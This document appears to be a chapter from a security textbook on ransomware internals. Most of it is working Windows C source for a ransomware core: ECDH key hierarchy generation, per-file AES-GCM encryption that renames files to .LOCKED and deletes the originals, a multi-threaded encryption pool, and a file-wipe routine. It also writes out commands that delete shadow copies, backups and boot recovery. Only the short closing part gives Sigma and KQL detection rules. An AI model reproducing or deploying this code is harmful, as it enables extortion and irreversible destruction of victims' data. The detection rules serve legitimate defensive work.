Ransomware: File Encryption and Key Management

Ransomware's technical core is a key hierarchy that lets the attacker decrypt victim files after payment without ever transmitting a long-term private key to the victim machine. This chapter implements the full key model (operator RSA/ECDH master key → per-victim session key → per-file AES key), a multi-threaded file encryption engine, key blob construction, and the recovery-prevention steps (shadow copy deletion, backup path targeting) — from a detection engineering perspective.

Ransomware Key Hierarchy

ECDH Key Generation via BCrypt (P-256)

#include <windows.h>
#include <bcrypt.h>
#pragma comment(lib, "bcrypt.lib")

typedef struct {
    BCRYPT_KEY_HANDLE hPriv;
    BYTE pubKeyBlob[72];   // BCRYPT_ECCPUBLIC_BLOB + 64 bytes (P-256 x,y coords)
    DWORD pubKeyBlobLen;
    BYTE sessionKey[32];   // AES-256 key derived via ECDH
} VictimKeyCtx;

// Operator public key (P-256) — embedded in the binary at compile time
static const BYTE g_operatorPubKey[] = {
    // BCRYPT_ECCPUBLIC_BLOB header + 64 bytes (x,y) — replace with real key
    0x45,0x43,0x4B,0x31,  // "ECK1"
    0x20,0x00,0x00,0x00,  // cbKey = 32 (P-256)
    /* 64 bytes of x,y coordinates */
};

BOOL GenVictimKeys(VictimKeyCtx* ctx) {
    BCRYPT_ALG_HANDLE hAlg;
    BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_ECDH_P256_ALGORITHM, NULL, 0);

    // Generate ephemeral victim key pair
    BCryptGenerateKeyPair(hAlg, &ctx->hPriv, 256, 0);
    BCryptFinalizeKeyPair(ctx->hPriv, 0);

    // Export victim public key (sent to operator C2 or written to note)
    BCryptExportKey(ctx->hPriv, NULL, BCRYPT_ECCPUBLIC_BLOB,
                    ctx->pubKeyBlob, sizeof(ctx->pubKeyBlob),
                    &ctx->pubKeyBlobLen, 0);

    // ECDH key agreement: victim private × operator public → shared secret
    BCRYPT_KEY_HANDLE hOpPub;
    BCryptImportKeyPair(hAlg, NULL, BCRYPT_ECCPUBLIC_BLOB, &hOpPub,
                        (PUCHAR)g_operatorPubKey, sizeof(g_operatorPubKey), 0);

    BCRYPT_SECRET_HANDLE hSecret;
    BCryptSecretAgreement(ctx->hPriv, hOpPub, &hSecret, 0);

    // Derive 32-byte session key via SHA-256 KDF
    BCryptBufferDesc params = {0};
    ULONG sessionLen = 32;
    BCryptDeriveKey(hSecret, BCRYPT_KDF_HASH, &params,
                    ctx->sessionKey, sessionLen, &sessionLen, 0);

    BCryptDestroySecret(hSecret);
    BCryptDestroyKey(hOpPub);
    BCryptCloseAlgorithmProvider(hAlg, 0);

    // CRITICAL: Destroy private key handle — PrivKey_Victim must not survive
    // after SessionKey is derived. Even memory forensics shouldn't find it.
    BCryptDestroyKey(ctx->hPriv);
    ctx->hPriv = NULL;
    SecureZeroMemory(&ctx->hPriv, sizeof(ctx->hPriv));
    return TRUE;
}

File Encryption Engine

#define RANSOM_EXT  L".LOCKED"
#define CHUNK_SIZE  (64 * 1024)  // 64KB chunks for streaming

// Per-file header prepended to encrypted file:
#pragma pack(push, 1)
typedef struct {
    BYTE magic[4];          // "RNKD"
    BYTE fileKeyEnc[60];    // AES-GCM(sessionKey, fileKey + IV + tag)
    BYTE iv[12];             // GCM nonce for file content
} FileHeader;
#pragma pack(pop)

BOOL EncryptFile(LPCWSTR path, const BYTE* sessionKey) {
    // Open source file
    HANDLE hSrc = CreateFileW(path, GENERIC_READ, 0, NULL,
                               OPEN_EXISTING, FILE_FLAG_SEQUENTIAL_SCAN, NULL);
    if (hSrc == INVALID_HANDLE_VALUE) return FALSE;

    LARGE_INTEGER fileSize;
    GetFileSizeEx(hSrc, &fileSize);

    // Generate random per-file AES-256 key + IV
    BYTE fileKey[32], fileIv[12];
    BCryptGenRandom(NULL, fileKey, 32, BCRYPT_USE_SYSTEM_PREFERRED_RNG);
    BCryptGenRandom(NULL, fileIv, 12, BCRYPT_USE_SYSTEM_PREFERRED_RNG);

    // Encrypt fileKey with sessionKey → store in header
    BYTE encFileKey[48]; BYTE fkTag[16]; BYTE fkIv[12];
    BCryptGenRandom(NULL, fkIv, 12, BCRYPT_USE_SYSTEM_PREFERRED_RNG);
    DWORD encLen;
    AesGcmEncrypt(fileKey, 32, fkIv, encFileKey, &encLen, fkTag);

    // Build output file path: original + .LOCKED
    WCHAR outPath[MAX_PATH];
    wcscpy_s(outPath, path);
    wcscat_s(outPath, RANSOM_EXT);

    HANDLE hDst = CreateFileW(outPath, GENERIC_WRITE, 0, NULL,
                               CREATE_ALWAYS, 0, NULL);

    // Write header
    FileHeader hdr;
    memcpy(hdr.magic, "RNKD", 4);
    memcpy(hdr.fileKeyEnc, fkIv, 12);
    memcpy(hdr.fileKeyEnc + 12, encFileKey, 32);
    memcpy(hdr.fileKeyEnc + 44, fkTag, 16);
    memcpy(hdr.iv, fileIv, 12);
    DWORD written;
    WriteFile(hDst, &hdr, sizeof(hdr), &written, NULL);

    // Stream-encrypt file content in chunks
    BYTE* buf = (BYTE*)VirtualAlloc(NULL, CHUNK_SIZE,
                                     MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
    DWORD bytesRead;
    while (ReadFile(hSrc, buf, CHUNK_SIZE, &bytesRead, NULL) && bytesRead > 0) {
        BYTE cipherBuf[CHUNK_SIZE]; BYTE tag[16]; DWORD cLen;
        AesGcmEncrypt(buf, bytesRead, fileIv, cipherBuf, &cLen, tag);
        WriteFile(hDst, cipherBuf, cLen, &written, NULL);
        WriteFile(hDst, tag, 16, &written, NULL);
        // Increment IV (nonce) to avoid reuse: fileIv[11]++
        fileIv[11]++;
    }

    VirtualFree(buf, 0, MEM_RELEASE);
    CloseHandle(hSrc); CloseHandle(hDst);

    // Securely delete original file
    DeleteFileW(path);
    // (For stronger recovery prevention: overwrite before delete — see §recovery)

    // Wipe fileKey from stack
    SecureZeroMemory(fileKey, 32);
    return TRUE;
}

Threaded Encryption for Speed

// Large organizations have millions of files; single-threaded encryption is too slow.
// Use a thread pool with a work queue. Modern ransomware (LockBit 3.0) uses
// IoCompletion ports for maximum I/O throughput with minimal thread switching.

#include <windows.h>

typedef struct {
    WCHAR       path[MAX_PATH];
    BYTE        sessionKey[32];
} WorkItem;

HANDLE g_iocp = NULL;

DWORD WINAPI EncryptWorker(LPVOID unused) {
    while (TRUE) {
        DWORD transferred;
        ULONG_PTR key;
        LPOVERLAPPED ov;
        if (!GetQueuedCompletionStatus(g_iocp, &transferred, &key,
                                        &ov, INFINITE)) break;
        if (!key) break;  // poison pill

        WorkItem* item = (WorkItem*)key;
        EncryptFile(item->path, item->sessionKey);
        SecureZeroMemory(item->sessionKey, 32);
        HeapFree(GetProcessHeap(), 0, item);
    }
    return 0;
}

VOID StartEncryptionPool(int numThreads) {
    g_iocp = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 0, numThreads);
    for (int i = 0; i < numThreads; i++) {
        HANDLE t = CreateThread(NULL, 0, EncryptWorker, NULL, 0, NULL);
        CloseHandle(t);
    }
}

VOID QueueEncryptJob(LPCWSTR path, const BYTE* sessionKey) {
    WorkItem* item = (WorkItem*)HeapAlloc(GetProcessHeap(), 0, sizeof(*item));
    wcscpy_s(item->path, path);
    memcpy(item->sessionKey, sessionKey, 32);
    PostQueuedCompletionStatus(g_iocp, 0, (ULONG_PTR)item, NULL);
}

Recovery Prevention

# Delete Volume Shadow Copies (VSS) before or after encryption.
# Without snapshots, Windows Backup is the only recovery path.
vssadmin delete shadows /all /quiet
wmic shadowcopy delete
bcdedit /set {default} recoveryenabled No
bcdedit /set {default} bootstatuspolicy ignoreallfailures

# Disable Windows Backup:
wbadmin delete catalog -quiet

# Disable System Restore via registry:
# HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore → DisableConfig = 1

# File wipe before delete (make file carving impossible):
// In C — overwrite before delete:
void SecureDeleteFile(LPCWSTR path) {
    HANDLE h = CreateFileW(path, GENERIC_WRITE, 0, NULL,
                           OPEN_EXISTING, 0, NULL);
    LARGE_INTEGER sz; GetFileSizeEx(h, &sz);
    BYTE zeros[4096] = {0};
    DWORD written;
    LARGE_INTEGER pos = {0};
    SetFilePointerEx(h, pos, NULL, FILE_BEGIN);
    for (LONGLONG i = 0; i < sz.QuadPart; i += sizeof(zeros))
        WriteFile(h, zeros, sizeof(zeros), &written, NULL);
    CloseHandle(h);
    DeleteFileW(path);
}

Detection Engineering

title: Mass File Rename with Known Ransomware Extension
logsource:
  product: windows
  category: file_event
detection:
  selection:
    EventType: 'RenameFile'
    TargetFilename|endswith:
      - '.LOCKED'
      - '.encrypted'
      - '.enc'
      - '.crypted'
  timeframe: 30s
  condition: selection | count() > 20
level: critical
tags: [attack.impact, T1486]

title: VSS Deletion — Pre-Ransomware Wiper Activity
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    CommandLine|contains:
      - 'vssadmin delete shadows'
      - 'shadowcopy delete'
      - 'wbadmin delete catalog'
      - 'bcdedit /set'
  condition: selection
level: high

-- MDE KQL: detect file write rate spike (ransomware encryption storm)
DeviceFileEvents
| where ActionType in ("FileCreated", "FileModified")
| where Timestamp > ago(5m)
| summarize file_count = count() by DeviceName, InitiatingProcessFileName,
            bin(Timestamp, 1m)
| where file_count > 500
| where InitiatingProcessFileName !in~ (
    "MsMpEng.exe", "SearchIndexer.exe", "OneDrive.exe", "svchost.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName, file_count

Q&A